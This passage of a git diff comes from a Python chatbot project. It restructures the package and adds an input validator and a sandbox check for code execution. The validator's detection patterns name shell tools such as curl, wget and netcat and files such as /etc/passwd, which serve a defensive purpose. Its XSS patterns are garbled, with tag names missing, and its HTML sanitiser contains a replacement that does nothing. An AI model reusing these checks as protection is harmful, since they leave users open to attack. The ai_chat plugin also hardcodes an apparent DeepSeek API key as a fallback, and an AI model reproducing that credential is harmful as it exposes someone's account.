missing_keys: + self.logger.error(f"缺少必需的环境变量: {', '.join(missing_keys)}") + return False + + return True + + def mask_sensitive_value(self, value: str) -> str: + """ + 隐藏敏感值（用于日志输出） + + Args: + value: 原始值 + + Returns: + 隐藏后的值 + """ + if not value: + return "" + + if len(value) <= 4: + return "***" + else: + return value[:2] + "***" + value[-2:] + + def get_safe_log_value(self, key: str) -> str: + """ + 获取安全的日志值（隐藏敏感信息） + + Args: + key: 环境变量键名 + + Returns: + 安全的日志值 + """ + value = self.get(key) + if value is None: + return "<未设置>" + + # 敏感键名列表 + sensitive_keys = [ + 'password', 'token', 'secret', 'key', 'credential', + 'sessdata', 'bili_jct', 'buvid3', 'dedeuserid' + ] + + for sensitive in sensitive_keys: + if sensitive in key.lower(): + return self.mask_sensitive_value(value) + + return value + + +# 全局环境变量加载器实例 +env_loader = EnvLoader() \ No newline at end of file diff --git a/core/utils/error_codes.py b/src/neobot/core/utils/error_codes.py similarity index 100% rename from core/utils/error_codes.py rename to src/neobot/core/utils/error_codes.py diff --git a/core/utils/exceptions.py b/src/neobot/core/utils/exceptions.py similarity index 100% rename from core/utils/exceptions.py rename to src/neobot/core/utils/exceptions.py diff --git a/core/utils/executor.py b/src/neobot/core/utils/executor.py similarity index 99% rename from core/utils/executor.py rename to src/neobot/core/utils/executor.py index 1c9843d..91cc35c 100644 --- a/core/utils/executor.py +++ b/src/neobot/core/utils/executor.py @@ -5,7 +5,7 @@ from docker.tls import TLSConfig from docker.types import LogConfig from typing import Any, Callable -from core.utils.logger import logger +from neobot.core.utils.logger import logger class CodeExecutor: """ diff --git a/src/neobot/core/utils/input_validator.py b/src/neobot/core/utils/input_validator.py new file mode 100644 index 0000000..c0445c5 --- /dev/null +++ b/src/neobot/core/utils/input_validator.py @@ -0,0 +1,388 @@ +""" +输入验证工具 + +提供通用的输入验证功能，防止 SQL 注入、XSS 攻击等安全问题。 +""" +import re +import html +from typing import Optional, Union, List, Dict, Any +from urllib.parse import urlparse + +from .logger import ModuleLogger + + +class InputValidator: + """ + 输入验证器类 + """ + + def __init__(self): + self.logger = ModuleLogger("InputValidator") + + # SQL 注入检测模式（预编译正则表达式） + self.sql_injection_patterns = [ + re.compile(r"(?i)(\b(select|insert|update|delete|drop|create|alter|truncate|union|join)\b)"), + re.compile(r"(?i)(\b(from|where|group by|order by|having|limit|offset)\b)"), + re.compile(r"(?i)(\b(and|or|not|xor|between|in|like|is|null)\b)"), + re.compile(r"(?i)(\b(exec|execute|sp_executesql|xp_cmdshell)\b)"), + re.compile(r"(?i)(\b(declare|set|cast|convert|case|when|then|else|end)\b)"), + re.compile(r"(--|\#|\/\*|\*\/|;)"), + re.compile(r"(\b(0x[0-9a-f]+)\b)"), + re.compile(r"(\b(admin|administrator|root|sysadmin)\b)"), + re.compile(r"(\b(password|passwd|pwd|secret|token|key)\b)"), + ] + + # XSS 攻击检测模式（预编译正则表达式） + self.xss_patterns = [ + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(]*>.*?)", re.IGNORECASE | re.DOTALL), + re.compile(r"(javascript:|data:|vbscript:|about:|file:|ftp:|mailto:|telnet:)", re.IGNORECASE), + re.compile(r"(on\w+\s*=)", re.IGNORECASE), + re.compile(r"(expression\s*\()", re.IGNORECASE), + re.compile(r"(url\s*\()", re.IGNORECASE), + ] + + # 路径遍历检测模式（预编译正则表达式） + self.path_traversal_patterns = [ + re.compile(r"(\.\./|\.\.\\)", re.IGNORECASE), + re.compile(r"(/etc/passwd|/etc/shadow|/etc/hosts)", re.IGNORECASE), + re.compile(r"(C:\\Windows\\System32|C:\\Windows\\SysWOW64)", re.IGNORECASE), + re.compile(r"(/bin/sh|/bin/bash|/usr/bin/python)", re.IGNORECASE), + re.compile(r"(\.\.%2f|\.\.%5c)", re.IGNORECASE), + ] + + # 命令注入检测模式（预编译正则表达式） + self.command_injection_patterns = [ + re.compile(r"(;|\||&|\$\(|\`|\n|\r)"), + re.compile(r"(rm\s+-rf|del\s+/f|format\s+)", re.IGNORECASE), + re.compile(r"(shutdown|reboot|halt|poweroff)", re.IGNORECASE), + re.compile(r"(wget|curl|ftp|scp|ssh)\s+", re.IGNORECASE), + re.compile(r"(nc|netcat|telnet|nmap)\s+", re.IGNORECASE), + ] + + # 预编译常用正则表达式 + self.email_pattern = re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$') + self.phone_pattern = re.compile(r'^1[3-9]\d{9}$') + self.nine_digit_pattern = re.compile(r'^\d{9}$') # 用于城市代码验证 + + def validate_sql_input(self, input_str: str, allow_safe_keywords: bool = False) -> bool: + """ + 验证 SQL 输入是否安全 + + Args: + input_str: 输入字符串 + allow_safe_keywords: 是否允许安全的 SQL 关键字 + + Returns: + bool: 是否安全 + """ + if not input_str: + return True + + input_lower = input_str.lower() + + # 检查 SQL 注入模式（使用预编译的正则表达式） + for pattern in self.sql_injection_patterns: + if pattern.search(input_lower): + self.logger.warning(f"检测到可能的 SQL 注入: {input_str}") + return False + + # 如果允许安全关键字，检查是否包含危险操作 + if allow_safe_keywords: + dangerous_operations = ['drop', 'delete', 'truncate', 'alter', 'create', 'exec'] + for op in dangerous_operations: + if op in input_lower: + self.logger.warning(f"检测到危险 SQL 操作: {op}") + return False + + return True + + def validate_xss_input(self, input_str: str) -> bool: + """ + 验证 XSS 输入是否安全 + + Args: + input_str: 输入字符串 + + Returns: + bool: 是否安全 + """ + if not input_str: + return True + + # 检查 XSS 攻击模式（使用预编译的正则表达式） + for pattern in self.xss_patterns: + if pattern.search(input_str): + self.logger.warning(f"检测到可能的 XSS 攻击: {input_str}") + return False + + return True + + def validate_path_input(self, input_str: str) -> bool: + """ + 验证路径输入是否安全 + + Args: + input_str: 输入字符串 + + Returns: + bool: 是否安全 + """ + if not input_str: + return True + + # 检查路径遍历攻击（使用预编译的正则表达式） + for pattern in self.path_traversal_patterns: + if pattern.search(input_str): + self.logger.warning(f"检测到可能的路径遍历攻击: {input_str}") + return False + + return True + + def validate_command_input(self, input_str: str) -> bool: + """ + 验证命令输入是否安全 + + Args: + input_str: 输入字符串 + + Returns: + bool: 是否安全 + """ + if not input_str: + return True + + # 检查命令注入攻击（使用预编译的正则表达式） + for pattern in self.command_injection_patterns: + if pattern.search(input_str): + self.logger.warning(f"检测到可能的命令注入攻击: {input_str}") + return False + + return True + + def validate_url(self, url: str, allowed_schemes: List[str] = None) -> bool: + """ + 验证 URL 是否安全 + + Args: + url: URL 字符串 + allowed_schemes: 允许的协议列表 + + Returns: + bool: 是否安全 + """ + if not url: + return False + + if allowed_schemes is None: + allowed_schemes = ['http', 'https', 'ftp', 'file'] + + try: + parsed = urlparse(url) + + # 检查协议 + if parsed.scheme not in allowed_schemes: + self.logger.warning(f"不允许的协议: {parsed.scheme}") + return False + + # 检查主机名 + if not parsed.hostname: + self.logger.warning("URL 缺少主机名") + return False + + # 检查路径安全性 + if not self.validate_path_input(parsed.path): + return False + + return True + + except Exception as e: + self.logger.error(f"URL 解析失败: {e}") + return False + + def validate_email(self, email: str) -> bool: + """ + 验证邮箱地址格式 + + Args: + email: 邮箱地址 + + Returns: + bool: 是否有效 + """ + if not email: + return False + + return bool(self.email_pattern.match(email)) + + def validate_phone(self, phone: str) -> bool: + """ + 验证手机号码格式 + + Args: + phone: 手机号码 + + Returns: + bool: 是否有效 + """ + if not phone: + return False + + return bool(self.phone_pattern.match(phone)) + + def validate_integer(self, value: str, min_value: Optional[int] = None, max_value: Optional[int] = None) -> bool: + """ + 验证整数格式和范围 + + Args: + value: 整数字符串 + min_value: 最小值 + max_value: 最大值 + + Returns: + bool: 是否有效 + """ + if not value: + return False + + try: + int_value = int(value) + + if min_value is not None and int_value < min_value: + return False + + if max_value is not None and int_value > max_value: + return False + + return True + + except ValueError: + return False + + def validate_float(self, value: str, min_value: Optional[float] = None, max_value: Optional[float] = None) -> bool: + """ + 验证浮点数格式和范围 + + Args: + value: 浮点数字符串 + min_value: 最小值 + max_value: 最大值 + + Returns: + bool: 是否有效 + """ + if not value: + return False + + try: + float_value = float(value) + + if min_value is not None and float_value < min_value: + return False + + if max_value is not None and float_value > max_value: + return False + + return True + + except ValueError: + return False + + def sanitize_html(self, html_str: str) -> str: + """ + 清理 HTML 字符串，防止 XSS 攻击 + + Args: + html_str: HTML 字符串 + + Returns: + str: 清理后的字符串 + """ + if not html_str: + return "" + + # 转义 HTML 特殊字符 + sanitized = html.escape(html_str) + + # 移除危险的属性 + sanitized = re.sub(r'on\w+\s*=', 'data-', sanitized, flags=re.IGNORECASE) + sanitized = re.sub(r'javascript:', 'data:', sanitized, flags=re.IGNORECASE) + sanitized = re.sub(r'data:', 'data:', sanitized, flags=re.IGNORECASE) + sanitized = re.sub(r'vbscript:', 'data:', sanitized, flags=re.IGNORECASE) + + return sanitized + + def sanitize_sql(self, sql_str: str) -> str: + """ + 清理 SQL 字符串，防止 SQL 注入 + + Args: + sql_str: SQL 字符串 + + Returns: + str: 清理后的字符串 + """ + if not sql_str: + return "" + + # 移除注释 + sanitized = re.sub(r'--.*$', '', sql_str, flags=re.MULTILINE) + sanitized = re.sub(r'/\*.*?\*/', '', sanitized, flags=re.DOTALL) + + # 移除分号（在参数化查询中不需要） + sanitized = sanitized.replace(';', '') + + return sanitized + + def validate_all(self, input_str: str, validation_types: List[str] = None) -> Dict[str, bool]: + """ + 执行所有验证 + + Args: + input_str: 输入字符串 + validation_types: 验证类型列表 + + Returns: + Dict[str, bool]: 验证结果字典 + """ + if validation_types is None: + validation_types = ['sql', 'xss', 'path', 'command'] + + results = {} + + for vtype in validation_types: + if vtype == 'sql': + results['sql'] = self.validate_sql_input(input_str) + elif vtype == 'xss': + results['xss'] = self.validate_xss_input(input_str) + elif vtype == 'path': + results['path'] = self.validate_path_input(input_str) + elif vtype == 'command': + results['command'] = self.validate_command_input(input_str) + elif vtype == 'url': + results['url'] = self.validate_url(input_str) + elif vtype == 'email': + results['email'] = self.validate_email(input_str) + elif vtype == 'phone': + results['phone'] = self.validate_phone(input_str) + + return results + + +# 全局输入验证器实例 +input_validator = InputValidator() \ No newline at end of file diff --git a/core/utils/logger.py b/src/neobot/core/utils/logger.py similarity index 100% rename from core/utils/logger.py rename to src/neobot/core/utils/logger.py diff --git a/core/utils/performance.py b/src/neobot/core/utils/performance.py similarity index 100% rename from core/utils/performance.py rename to src/neobot/core/utils/performance.py diff --git a/core/utils/singleton.py b/src/neobot/core/utils/singleton.py similarity index 100% rename from core/utils/singleton.py rename to src/neobot/core/utils/singleton.py diff --git a/core/ws.py b/src/neobot/core/ws.py similarity index 99% rename from core/ws.py rename to src/neobot/core/ws.py index e929baf..e45590d 100644 --- a/core/ws.py +++ b/src/neobot/core/ws.py @@ -23,7 +23,7 @@ if TYPE_CHECKING: import websockets from websockets.legacy.client import WebSocketClientProtocol -from models.events.factory import EventFactory +from neobot.models.events.factory import EventFactory from .config_loader import global_config from .utils.executor import CodeExecutor diff --git a/docs/api/account.md b/src/neobot/docs/api/account.md similarity index 100% rename from docs/api/account.md rename to src/neobot/docs/api/account.md diff --git a/docs/api/base.md b/src/neobot/docs/api/base.md similarity index 100% rename from docs/api/base.md rename to src/neobot/docs/api/base.md diff --git a/docs/api/friend.md b/src/neobot/docs/api/friend.md similarity index 100% rename from docs/api/friend.md rename to src/neobot/docs/api/friend.md diff --git a/docs/api/group.md b/src/neobot/docs/api/group.md similarity index 100% rename from docs/api/group.md rename to src/neobot/docs/api/group.md diff --git a/docs/api/index.md b/src/neobot/docs/api/index.md similarity index 100% rename from docs/api/index.md rename to src/neobot/docs/api/index.md diff --git a/docs/api/media.md b/src/neobot/docs/api/media.md similarity index 100% rename from docs/api/media.md rename to src/neobot/docs/api/media.md diff --git a/docs/api/message.md b/src/neobot/docs/api/message.md similarity index 100% rename from docs/api/message.md rename to src/neobot/docs/api/message.md diff --git a/docs/core-concepts/architecture.md b/src/neobot/docs/core-concepts/architecture.md similarity index 100% rename from docs/core-concepts/architecture.md rename to src/neobot/docs/core-concepts/architecture.md diff --git a/docs/core-concepts/error-handling.md b/src/neobot/docs/core-concepts/error-handling.md similarity index 100% rename from docs/core-concepts/error-handling.md rename to src/neobot/docs/core-concepts/error-handling.md diff --git a/docs/core-concepts/event-flow.md b/src/neobot/docs/core-concepts/event-flow.md similarity index 100% rename from docs/core-concepts/event-flow.md rename to src/neobot/docs/core-concepts/event-flow.md diff --git a/docs/core-concepts/multithreading.md b/src/neobot/docs/core-concepts/multithreading.md similarity index 100% rename from docs/core-concepts/multithreading.md rename to src/neobot/docs/core-concepts/multithreading.md diff --git a/docs/core-concepts/performance.md b/src/neobot/docs/core-concepts/performance.md similarity index 100% rename from docs/core-concepts/performance.md rename to src/neobot/docs/core-concepts/performance.md diff --git a/docs/core-concepts/redis-atomic-operations.md b/src/neobot/docs/core-concepts/redis-atomic-operations.md similarity index 100% rename from docs/core-concepts/redis-atomic-operations.md rename to src/neobot/docs/core-concepts/redis-atomic-operations.md diff --git a/docs/core-concepts/singleton-managers.md b/src/neobot/docs/core-concepts/singleton-managers.md similarity index 100% rename from docs/core-concepts/singleton-managers.md rename to src/neobot/docs/core-concepts/singleton-managers.md diff --git a/docs/deployment.md b/src/neobot/docs/deployment.md similarity index 100% rename from docs/deployment.md rename to src/neobot/docs/deployment.md diff --git a/docs/development-standards.md b/src/neobot/docs/development-standards.md similarity index 100% rename from docs/development-standards.md rename to src/neobot/docs/development-standards.md diff --git a/docs/getting-started.md b/src/neobot/docs/getting-started.md similarity index 100% rename from docs/getting-started.md rename to src/neobot/docs/getting-started.md diff --git a/docs/index.md b/src/neobot/docs/index.md similarity index 100% rename from docs/index.md rename to src/neobot/docs/index.md diff --git a/docs/plugin-development/best-practices.md b/src/neobot/docs/plugin-development/best-practices.md similarity index 100% rename from docs/plugin-development/best-practices.md rename to src/neobot/docs/plugin-development/best-practices.md diff --git a/docs/plugin-development/command-handling.md b/src/neobot/docs/plugin-development/command-handling.md similarity index 100% rename from docs/plugin-development/command-handling.md rename to src/neobot/docs/plugin-development/command-handling.md diff --git a/docs/plugin-development/index.md b/src/neobot/docs/plugin-development/index.md similarity index 100% rename from docs/plugin-development/index.md rename to src/neobot/docs/plugin-development/index.md diff --git a/docs/plugin-development/simple-plugin.md b/src/neobot/docs/plugin-development/simple-plugin.md similarity index 100% rename from docs/plugin-development/simple-plugin.md rename to src/neobot/docs/plugin-development/simple-plugin.md diff --git a/docs/plugin-development/status-plugin.md b/src/neobot/docs/plugin-development/status-plugin.md similarity index 100% rename from docs/plugin-development/status-plugin.md rename to src/neobot/docs/plugin-development/status-plugin.md diff --git a/src/neobot/docs/project-structure.md b/src/neobot/docs/project-structure.md new file mode 100644 index 0000000..f6511b0 --- /dev/null +++ b/src/neobot/docs/project-structure.md @@ -0,0 +1,65 @@ +# 项目结构 + +本项目采用标准的 Python 包结构，遵循 PEP 621 规范。 + +## 目录结构 + +``` +src/neobot/ +├── core/ # 框架核心代码 +├── models/ # 数据模型 +├── adapters/ # 平台适配器 +├── plugins/ # 插件目录 +├── tests/ # 测试文件 +├── templates/ # 模板文件 +├── docs/ # 文档 +├── web_static/ # 静态文件 +└── data/ # 数据文件 +``` + +## 核心目录说明 + +### core/ + +框架核心代码，包含： + +- **api/**: OneBot API 封装 +- **handlers/**: 事件处理器 +- **managers/**: 各种管理器 +- **services/**: 服务层 +- **utils/**: 工具函数 + +### models/ + +数据模型定义，包含： + +- **events/**: OneBot 事件模型 +- **message.py**: 消息段模型 +- **objects.py**: API 响应对象 +- **sender.py**: 发送者信息 + +### plugins/ + +插件目录，所有业务逻辑都在这里。插件开发请参考 [插件开发文档](plugin-development/index.md)。 + +### tests/ + +单元测试和集成测试文件。 + +## 导入路径 + +所有代码使用绝对导入，格式为 `neobot.{module}.{submodule}`。 + +例如： + +```python +from neobot.core.managers import plugin_manager +from neobot.models import MessageSegment, OneBotEvent +from neobot.adapters import DiscordAdapter +``` + +## 新增模块 + +1. 在对应目录下创建模块文件 +2. 更新 `__init__.py` 文件导出新模块 +3. 使用绝对导入引用新模块 diff --git a/models/__init__.py b/src/neobot/models/__init__.py similarity index 81% rename from models/__init__.py rename to src/neobot/models/__init__.py index 3418164..5647d13 100644 --- a/models/__init__.py +++ b/src/neobot/models/__init__.py @@ -1,7 +1,7 @@ """ -Models 包 +NEO Bot Models Package -导出常用的模型类，方便插件导入。 +数据模型模块，包含事件、消息、发送者等数据结构定义。 """ from .events.base import OneBotEvent diff --git a/models/events/base.py b/src/neobot/models/events/base.py similarity index 98% rename from models/events/base.py rename to src/neobot/models/events/base.py index 6a0ac3d..7580bc8 100644 --- a/models/events/base.py +++ b/src/neobot/models/events/base.py @@ -9,7 +9,7 @@ from typing import TYPE_CHECKING, Optional, Final from abc import ABC, abstractmethod if TYPE_CHECKING: - from core.bot import Bot + from neobot.core.bot import Bot class EventType: diff --git a/models/events/factory.py b/src/neobot/models/events/factory.py similarity index 99% rename from models/events/factory.py rename to src/neobot/models/events/factory.py index 271695d..ff309d2 100644 --- a/models/events/factory.py +++ b/src/neobot/models/events/factory.py @@ -5,8 +5,8 @@ """ from typing import Any, Dict -from models.message import MessageSegment -from models.sender import Sender +from neobot.models.message import MessageSegment +from neobot.models.sender import Sender from .base import OneBotEvent, EventType from .message import GroupMessageEvent, PrivateMessageEvent, Anonymous from .notice import ( diff --git a/models/events/message.py b/src/neobot/models/events/message.py similarity index 95% rename from models/events/message.py rename to src/neobot/models/events/message.py index d430426..556dd4c 100644 --- a/models/events/message.py +++ b/src/neobot/models/events/message.py @@ -6,9 +6,9 @@ from dataclasses import dataclass, field from typing import List, Optional, Union, ClassVar -from core.permission import Permission -from models.message import MessageSegment -from models.sender import Sender +from neobot.core.permission import Permission +from neobot.models.message import MessageSegment +from neobot.models.sender import Sender from .base import OneBotEvent, EventType diff --git a/models/events/meta.py b/src/neobot/models/events/meta.py similarity index 100% rename from models/events/meta.py rename to src/neobot/models/events/meta.py diff --git a/models/events/notice.py b/src/neobot/models/events/notice.py similarity index 100% rename from models/events/notice.py rename to src/neobot/models/events/notice.py diff --git a/models/events/request.py b/src/neobot/models/events/request.py similarity index 100% rename from models/events/request.py rename to src/neobot/models/events/request.py diff --git a/models/message.py b/src/neobot/models/message.py similarity index 100% rename from models/message.py rename to src/neobot/models/message.py diff --git a/models/objects.py b/src/neobot/models/objects.py similarity index 100% rename from models/objects.py rename to src/neobot/models/objects.py diff --git a/models/sender.py b/src/neobot/models/sender.py similarity index 100% rename from models/sender.py rename to src/neobot/models/sender.py diff --git a/src/neobot/plugins/__init__.py b/src/neobot/plugins/__init__.py new file mode 100644 index 0000000..637ca03 --- /dev/null +++ b/src/neobot/plugins/__init__.py @@ -0,0 +1,41 @@ +""" +NEO Bot Plugins Package + +插件模块，包含所有业务逻辑插件。 +""" + +from . import admin +from . import ai_chat +from . import auto_approve +from . import bot_status +from . import broadcast +from . import code_py +from . import echo +from . import furry +from . import furry_assistant +from . import github_parser +from . import group_welcome +from . import jrcd +from . import knowledge_base +from . import mirror_avatar +from . import thpic +from . import weather + +__all__ = [ + "admin", + "ai_chat", + "auto_approve", + "bot_status", + "broadcast", + "code_py", + "echo", + "furry", + "furry_assistant", + "github_parser", + "group_welcome", + "jrcd", + "knowledge_base", + "mirror_avatar", + "thpic", + "weather", +] diff --git a/plugins/admin.py b/src/neobot/plugins/admin.py similarity index 95% rename from plugins/admin.py rename to src/neobot/plugins/admin.py index 4fc33e0..2d8bab1 100644 --- a/plugins/admin.py +++ b/src/neobot/plugins/admin.py @@ -1,6 +1,6 @@ -from core.managers import command_manager, permission_manager -from core.permission import Permission -from models.events.message import MessageEvent +from neobot.core.managers import command_manager, permission_manager +from neobot.core.permission import Permission +from neobot.models.events.message import MessageEvent # 更新插件元信息以包含OP管理 __plugin_meta__ = { diff --git a/plugins/ai_chat.py b/src/neobot/plugins/ai_chat.py similarity index 69% rename from plugins/ai_chat.py rename to src/neobot/plugins/ai_chat.py index 4dfe4f6..64b27e4 100644 --- a/plugins/ai_chat.py +++ b/src/neobot/plugins/ai_chat.py @@ -4,11 +4,14 @@ AI 聊天插件，支持向量数据库记忆功能 """ import time import uuid -from core.managers.command_manager import matcher -from models.events.message import GroupMessageEvent, PrivateMessageEvent -from core.managers.vectordb_manager import vectordb_manager -from core.utils.logger import ModuleLogger -from core.config_loader import global_config +import os +import base64 +from neobot.core.managers.command_manager import matcher +from neobot.models.events.message import GroupMessageEvent, PrivateMessageEvent +from neobot.core.managers.vectordb_manager import vectordb_manager +from neobot.core.managers.image_manager import image_manager +from neobot.core.utils.logger import ModuleLogger +from neobot.core.config_loader import global_config logger = ModuleLogger("AIChat") @@ -18,7 +21,6 @@ __plugin_meta__ = { "usage": "/chat <内容> - 与 AI 进行对话" } -# 尝试导入 OpenAI 客户端 try: from openai import AsyncOpenAI OPENAI_AVAILABLE = True @@ -30,7 +32,6 @@ async def get_ai_response(user_id: int, group_id: int, user_message: str) -> str if not OPENAI_AVAILABLE: return "请先安装 openai 库: pip install openai" - # 从配置中获取 DeepSeek API 配置（复用跨平台插件的配置或全局配置） api_key = getattr(global_config.cross_platform, 'deepseek_api_key', None) or "sk-f71322a9fbba4b05a7df969cb4004f06" api_url = getattr(global_config.cross_platform, 'deepseek_api_url', "https://api.deepseek.com/v1") model = getattr(global_config.cross_platform, 'deepseek_model', "deepseek-chat") @@ -38,7 +39,6 @@ async def get_ai_response(user_id: int, group_id: int, user_message: str) -> str if api_key == "your-api-key": return "请先在配置中设置 DeepSeek API Key" - # 1. 从向量数据库检索相关记忆 collection_name = f"chat_memory_{user_id}" memory_context = "" @@ -56,7 +56,6 @@ async def get_ai_response(user_id: int, group_id: int, user_message: str) -> str except Exception as e: logger.error(f"检索聊天记忆失败: {e}") - # 2. 构建 Prompt system_prompt = f"""你是一个友好的 AI 助手。请根据用户的输入进行回复。 如果提供了相关历史记忆，请参考这些记忆来保持对话的连贯性。{memory_context}""" @@ -78,7 +77,6 @@ async def get_ai_response(user_id: int, group_id: int, user_message: str) -> str ai_reply = response.choices[0].message.content - # 3. 将本次对话存入向量数据库 if ai_reply: try: doc_id = str(uuid.uuid4()) @@ -103,6 +101,33 @@ async def get_ai_response(user_id: int, group_id: int, user_message: str) -> str logger.error(f"AI 聊天请求失败: {e}") return f"请求失败: {str(e)}" +async def generate_chat_image_base64(user_name: str, user_message: str, ai_reply: str) -> str: + """生成聊天图片并返回 Base64 编码""" + template_name = "ai_chat.html" + + user_avatar = user_name[0] if user_name else 'U' + + data = { + "user_name": user_name, + "user_message": user_message, + "ai_reply": ai_reply, + "user_avatar": user_avatar, + "width": 800, + "height": 600 + } + + output_name = f"chat_{int(time.time())}.png" + + image_base64 = await image_manager.render_template_to_base64( + template_name=template_name, + data=data, + output_name=output_name, + width=800, + height=600 + ) + + return image_base64 + @matcher.command("chat") async def chat_command(event: GroupMessageEvent | PrivateMessageEvent, args: list[str]): """AI 聊天命令""" @@ -116,4 +141,19 @@ async def chat_command(event: GroupMessageEvent | PrivateMessageEvent, args: lis await event.reply("正在思考中...") reply = await get_ai_response(user_id, group_id, user_message) - await event.reply(reply) + + try: + image_base64 = await generate_chat_image_base64( + user_name=str(event.user_id), + user_message=user_message, + ai_reply=reply + ) + + if image_base64: + from neobot.models.message import MessageSegment + await event.reply(MessageSegment.image(image_base64)) + else: + await event.reply(reply) + except Exception as e: + logger.error(f"生成聊天图片失败: {e}") + await event.reply(reply) diff --git a/plugins/auto_approve.py b/src/neobot/plugins/auto_approve.py similarity index 90% rename from plugins/auto_approve.py rename to src/neobot/plugins/auto_approve.py index fa845a5..2ccd1cf 100644 --- a/plugins/auto_approve.py +++ b/src/neobot/plugins/auto_approve.py @@ -3,9 +3,9 @@ 提供自动同意好友请求和群聊邀请的功能。 """ -from core.managers.command_manager import matcher -from core.bot import Bot -from models.events.request import FriendRequestEvent, GroupRequestEvent +from neobot.core.managers.command_manager import matcher +from neobot.core.bot import Bot +from neobot.models.events.request import FriendRequestEvent, GroupRequestEvent __plugin_meta__ = { "name": "自动同意请求", diff --git a/plugins/bot_status.py b/src/neobot/plugins/bot_status.py similarity index 96% rename from plugins/bot_status.py rename to src/neobot/plugins/bot_status.py index 523c068..7b0eb42 100644 --- a/plugins/bot_status.py +++ b/src/neobot/plugins/bot_status.py @@ -13,14 +13,14 @@ from datetime import datetime, timedelta from functools import lru_cache from typing import Optional -from core.bot import Bot -from core.managers.command_manager import matcher -from core.managers.image_manager import image_manager -from core.managers.redis_manager import redis_manager -from core.utils.executor import run_in_thread_pool -from core.utils.logger import logger -from models.events.message import MessageEvent, MessageSegment -from models.objects import Status, VersionInfo +from neobot.core.bot import Bot +from neobot.core.managers.command_manager import matcher +from neobot.core.managers.image_manager import image_manager +from neobot.core.managers.redis_manager import redis_manager +from neobot.core.utils.executor import run_in_thread_pool +from neobot.core.utils.logger import logger +from neobot.models.events.message import MessageEvent, MessageSegment +from neobot.models.objects import Status, VersionInfo __plugin_meta__ = { "name": "bot_status", @@ -101,8 +101,8 @@ async def _get_bot_nickname(bot: Bot) -> str: try: login_info = await bot.get_login_info() nickname = login_info.nickname - except Exception as e: - logger.warning(f"获取bot昵称失败: {e}") + except Exception: + logger.warning("获取bot昵称失败") nickname = "获取失败" _nickname_cache[cache_key] = (nickname, now) diff --git a/plugins/broadcast.py b/src/neobot/plugins/broadcast.py similarity index 94% rename from plugins/broadcast.py rename to src/neobot/plugins/broadcast.py index 0b9350f..75f8961 100644 --- a/plugins/broadcast.py +++ b/src/neobot/plugins/broadcast.py @@ -10,11 +10,11 @@ """ import asyncio import json -from core.managers.command_manager import matcher -from models.events.message import MessageEvent, PrivateMessageEvent -from core.permission import Permission -from core.utils.logger import logger -from core.managers.redis_manager import redis_manager +from neobot.core.managers.command_manager import matcher +from neobot.models.events.message import MessageEvent, PrivateMessageEvent +from neobot.core.permission import Permission +from neobot.core.utils.logger import logger +from neobot.core.managers.redis_manager import redis_manager # --- 会话状态管理 --- # 结构: {user_id: asyncio.TimerHandle} @@ -115,7 +115,7 @@ async def broadcast_subscription_loop(): logger.info(f"[Broadcast] 收到跨机器人广播消息: 来源 {robot_id}") # 获取所有活跃的 Bot 实例 - from core.managers.bot_manager import bot_manager + from neobot.core.managers.bot_manager import bot_manager all_bots = bot_manager.get_all_bots() if not all_bots: @@ -199,7 +199,7 @@ async def handle_broadcast_content(event: MessageEvent): await broadcast_message_to_groups(event.bot, message_to_broadcast, robot_id) # 2. 获取其他所有 Bot 并进行广播（针对同一进程内的其他 Bot） - from core.managers.bot_manager import bot_manager + from neobot.core.managers.bot_manager import bot_manager all_bots = bot_manager.get_all_bots() for bot in all_bots: diff --git a/plugins/code_py.py b/src/neobot/plugins/code_py.py similarity index 56% rename from plugins/code_py.py rename to src/neobot/plugins/code_py.py index ab8f0ac..0519e51 100644 --- a/plugins/code_py.py +++ b/src/neobot/plugins/code_py.py @@ -2,16 +2,18 @@ import html import textwrap import asyncio +import re from typing import Dict import datetime import sys -from core.managers.command_manager import matcher -from models.events.message import MessageEvent -from core.permission import Permission -from core.utils.logger import logger -from core.managers.image_manager import image_manager -from models.message import MessageSegment +from neobot.core.managers.command_manager import matcher +from neobot.models.events.message import MessageEvent +from neobot.core.permission import Permission +from neobot.core.utils.logger import logger +from neobot.core.managers.image_manager import image_manager +from neobot.core.utils.input_validator import input_validator +from neobot.models.message import MessageSegment __plugin_meta__ = { "name": "Python 代码执行", @@ -129,17 +131,246 @@ def normalize_code(code: str) -> str: """ # 1. 解码 HTML 实体 code = html.unescape(code) + + # 2. 输入验证 - 检查危险代码 + if not validate_code_security(code): + raise ValueError("代码包含不安全内容，拒绝执行") - # 2. 移除公共前导缩进 + # 3. 移除公共前导缩进 try: code = textwrap.dedent(code) - except Exception: + except ValueError: # 在某些情况下（例如，不一致的缩进），dedent 可能会失败， # 但我们不希望因此中断流程，所以捕获异常并继续。 pass return code.strip() +def validate_code_security(code: str) -> bool: + """ + 验证代码安全性 + + Args: + code: Python 代码字符串 + + Returns: + bool: 是否安全 + """ + # 检查命令注入 + if not input_validator.validate_command_input(code): + logger.warning(f"检测到可能的命令注入: {code[:100]}...") + return False + + # 检查路径遍历 + if not input_validator.validate_path_input(code): + logger.warning(f"检测到可能的路径遍历: {code[:100]}...") + return False + + # 检查危险的系统调用 + dangerous_patterns = [ + r"import\s+(os|sys|subprocess|shutil|platform|ctypes)", + r"__import__\s*\(", + r"eval\s*\(", + r"exec\s*\(", + r"compile\s*\(", + r"open\s*\(", + r"__builtins__", + r"__import__", + r"globals\s*\(", + r"locals\s*\(", + r"getattr\s*\(", + r"setattr\s*\(", + 